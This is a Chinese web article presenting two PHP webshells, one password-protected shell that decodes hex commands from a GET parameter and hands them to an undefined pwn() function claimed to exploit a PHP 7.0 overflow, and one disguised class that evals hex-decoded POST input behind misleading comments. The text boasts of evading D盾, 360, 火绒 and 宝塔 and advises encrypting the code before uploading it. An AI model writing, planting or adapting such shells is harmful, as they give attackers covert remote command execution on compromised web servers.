分析PHP7.0版本“金牌马儿”

时间:2023年05月25日

/

来源:网络

/

编辑:佚名

PHP7.0版本“金牌马儿”(免杀,过D盾,360,火绒等所有的工具),这个马儿之所以能跑,是因为用了PHP7.0的溢出漏洞,大家熟知的缓冲区溢出呀或者什么栈溢出。
就是因为有这个溢出,所以即过了免杀还不用担心执行系统命令函数的问题。
<?php
//仅支持php7.0 里面没有用到php系统函数,order参数可以执行系统命令,暂时只测试过linux //过宝塔、D盾、360、火绒,免杀原理自己看源码,上传时请先将源码加密,请勿外传!
function hexToStr($hex) { //16进制转字符串,敏感字符过防火墙 
$str = ""; 
for ($i = 0;$i < strlen($hex) - 1;$i+= 2) 
$str.= chr(hexdec($hex[$i] . $hex[$i + 1])); 
return $str; } 
$password = $_GET['password']; 
$order = $_GET['order']; //因为测试方便,所以用的GET,如果变量过长,用POST 
if($password != 'password')//密码比对,如果密码错误就返回404(区分大小写) 

header('HTTP/1.1 404 Not Found'); 
header("status: 404 Not Found"); 
exit(); 

$order = hexToStr($order); 
pwn($order);
这个代码隐藏的好深
<?php
class _{
    static public $phpcms=Null;
    function __construct($l="error"){
    self::$phpcms=$l;
    @eval/*Defining error level offences*/(null.null.self::$phpcms);
    }}
//16进制转字符串,hexdec()函数把十六进制转换为十进制。而chr()函数可以将十进制的ASCII转换为字符。
        function hexToStr($hex){ 
        $str=""; 
        for($i=0;$i<strlen($hex)-1;$i+=2)
        $str.=chr(hexdec($hex[$i].$hex[$i+1]));
        return  $str;
    } 
$error = null.hexToStr(@$_POST/**/["123"]);
$d = new _($error);
if(!defined('InEmpireCMS'))
{
    exit();
}
?>
猜你需要

豫ICP备2021026617号-1  豫公网安备:41172602000185   Copyright © 2021-2028 www.78moban.com/ All Rights Reserved

本站作品均来自互联网,转载目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责。如有侵犯您的版权,请联系 1565229909#qq.com(把#改成@),我们将立即处理。